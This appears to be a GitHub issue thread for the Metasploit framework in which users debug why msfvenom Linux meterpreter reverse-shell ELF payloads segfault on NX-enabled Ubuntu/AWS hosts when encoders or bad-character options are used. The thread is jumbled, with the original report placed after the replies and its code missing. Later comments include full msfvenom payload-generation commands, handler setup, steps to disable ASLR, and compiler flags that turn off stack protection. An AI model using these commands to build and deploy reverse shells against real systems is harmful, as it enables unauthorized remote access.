Open m3ldis opened 4 years ago
I really wish that all bug submissions had this level of detail. Well played @clhefton 👍
Quick Q: have you tried generation the payloads without using any of:
-b
)-e
)-i
)From my (very quick) testing, using the above caused segfaults, but avoiding those three switches resulted in payloads that worked.
Would you mind giving that a try please?
tl;dr for future readers: On Ubuntu 18+ and AL2 AMI's on AWS, (untested but possibly on vanilla Ubuntu 18),
Glad it was useful @OJ , and thank you so much!! I can't believe it was that simple 😫. I've never actually made payloads without excluding null characters or using encoding.
I tested literally every other combo of encoding + iterations + bad chars I could find, and verified that both -e
and -b
cause issues by themselves and in combination on all reverse shell payloads, both x86 and x64. (-i
is irrelevant without -e
). Oh, and nonx payloads don't work either.
I'm glad it was that simple too mate! We should have something in place to either warn people against this or just not allow it at all. There's definitely work to be done here.
@clhefton I'm going to reopen this for now, as I think we need to discuss further and come up with solution. Hope that's OK.
Yeah, maybe a warning that encoding is usually not necessary when using an executable format. It may be if that binary is transferred through constraints, but it's not the normal use case. Also, the binary wrapper isn't checked for badchars, so meh.
The important thing here is that encoding requires the payload to reside in RWX memory. Specifying badchars (the -b
option) forces encoding. The nonx variant of payloads don't mprotect
and just assume everything is RWX (which was basically the case back in the long long ago before NX was a thing).
I agree that a warning makes sense when the output format is an executable and encoding is enabled (or implied by other options). I don't know what we can do about the case where a user outputs shellcode for use in a harness like OP's C code.
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Hi again!
It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Adding a warning seems like a good call, reopening this :+1:
What will doing adding on exploit (-j)? Which use work zse -j ?
What will doing adding on exploit (-j)? Which use work zse -j ?
-j
runs the module as a job.
msf6 exploit(multi/handler) > help exploit
Usage: run [options] [RHOSTS]
Run the current exploit module
OPTIONS:
-J Force running in the foreground, even if passive.
-e <opt> The payload encoder to use. If none is specified, ENCODER is used.
-f Force the exploit to run regardless of the value of MinimumRank.
-h Help banner.
-j Run in the context of a job.
-n <opt> The NOP generator to use. If none is specified, NOP is used.
-o <opt> A comma separated list of options in VAR=VAL format.
-p <opt> The payload to use. If none is specified, PAYLOAD is used.
-q Run the module in quiet mode with no output
-t <opt> The target index to use. If none is specified, TARGET is used.
-z Do not interact with the session after successful exploitation.
Examples:
run 192.168.1.123
run 192.168.1.1-192.168.1.254
run file:///tmp/rhost_list.txt
Learn more at https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
msf6 exploit(multi/handler) >
As I was going through this issue. I found an interesting behaviour. Not sure whether this is intended or not. I was just checking this on my local ubuntu-18.04 image not on AWS but on normal VM.
$ uname -i
x86_64
$ uname -a
Linux Myhostname-Apple-Virtualization-Generic-Platform 5.4.0-149-generic #166~18.04.1-Ubuntu SMP Fri Apr 21 16:42:44 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
$ dmesg | grep NX
[ 0.000000] NX (Execute Disable) protection: active
$ cat /proc/sys/kernel/randomize_va_space
0
$ msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_http LHOST=<ip> LPORT=<port> -b "\x00" -i 3 -f elf -o ubuntu_priv443_3
# setting up the listener
exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_http
exploit(multi/handler) > set LHOST <ip>
exploit(multi/handler) > set LPORT <port>
exploit(multi/handler) > run -j
# transferred this file to my ubuntu and executed
# results
$ ./ubuntu_priv443_3
Segmentation fault (core dumped)
$ nc -vv <ip> <port>
Connection to <ip> <port> port [tcp/*] succeeded!
It should work.
Getting Segmentation Fault
$ ./msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_http LHOST=<ip> LPORT=<port> -f elf -o ubuntu_priv443_3
# setting up the listener
exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_http
exploit(multi/handler) > set LHOST <ip>
exploit(multi/handler) > set LPORT <port>
exploit(multi/handler) > run
# result
I got the meterpreter shell
$ ./msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=<port> -b "\x00" -e x64/xor_dynamic -i 3 -f elf -o ubuntu_priv443_3
# setting up the listener
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) >
msf6 exploit(multi/handler) > set LHOST <ip>
LHOST => <ip>
msf6 exploit(multi/handler) > set LPORT <port>
LPORT => <port>
msf6 exploit(multi/handler) > run
# result
I got the meterpreter shell.
# MSF Version
Framework Version: 6.3.18-dev-bd9591f621
# I installed metasploit based on metasploit documentation source install.
# My ruby version
❯ ruby -v
ruby 3.0.5p211 (2022-11-24 revision ba5cf0f7c5) [x86_64-darwin22]
I apologize if I miss anything. please let me know if you need any more information.
Does only some payloads are compatible with encoders? After reversing the elf generated by the reverse_http with encoders (On 1st case) I found some invalid instructions? (Thinking that the encoder disturbed the normal execution not only the payload ( Not sure how does the encoders work. I will have to go through a bit) so causing the segmentation fault?) Last if our encoder, bad characters and iterations use RWX memory regions, as we got RCE so can't we change the payload code to first mmap RW segment and keep our payload and then using mprotect change the permissions of this region to RX and then execute our payload? (Is this feasible?)
Sorry to bring it up again, but I have done a lot of looking through issues and I think mine is new. I get
Segmentation fault (core dumped)
. It's not a connection issue; I always have my handler running first, verified connection withnc <ip> 443
, and it seems from strace (see below) that it never even gets to any socket connection attempt.This may just be an issue that can't be circumvented. I am willing to resign to the fact that MSF payloads won't work on Linux images from AWS, just making sure I haven't missed anything.
OS info, agent
Payload is running on default Ubuntu 18 AMI on AWS. Handler was always running before attempting to connect. NX is enabled, I can't change this:
I have done the following to circumvent NX:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
buf[]
to*buf
in C files before compilationSteps to reproduce
Payloads I've tried
I've generated the following. All give the same output: segfault.
C function:
C compilation flags:
gcc -z execstack -fno-stack-protector -o <filename> <filename>.c
Expected behavior
It should execute
Current behavior
Segmentation fault
System stuff
Metasploit version
Framework: 5.0.60-dev Console : 5.0.60-dev
Metasploit handler
I used the following options for the metasploit handler:
Strace output
I installed Metasploit with:
OS
Metasploit: Kali Linux AMI Linux ami-0efaa1daf599f3b8e
Issues & help I'm aware of
payload
to the one I used on victim machine)